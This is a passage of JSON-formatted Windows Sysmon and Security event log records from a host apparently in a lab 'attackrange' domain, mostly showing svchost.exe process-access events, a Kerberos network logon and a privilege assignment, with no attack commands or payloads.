C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:21.317","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4213,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:21.317\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:21.317","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221837,"ProcessID":860,"ThreadID":2064,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x5F927\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x5f927","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","EventReceivedTime":"2020-08-07 11:55:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221838,"ProcessID":860,"ThreadID":2064,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon ID:\t\t0x5F927\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{A835F1AE-5213-3DB4-8332-0851C30500C1}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x0\r\n\tProcess Name:\t\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\tfe80::c013:b6b3:a0dc:e7c1\r\n\tSource Port:\t\t51428\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tKerberos\r\n\tAuthentication Package:\tKerberos\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetLogonId":"0x5f927","LogonType":"3","LogonProcessName":"Kerberos","AuthenticationPackageName":"Kerberos","WorkstationName":"-","LogonGuid":"{A835F1AE-5213-3DB4-8332-0851C30500C1}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"fe80::c013:b6b3:a0dc:e7c1","IpPort":"51428","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:55:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4214,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:21.317\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:21.317","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4215,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:21.317\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:21.317","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4216,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:21.317\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:21.317","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4217,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:21.317\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:21.317","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:22","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4218,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:21.317\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:21.317","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-0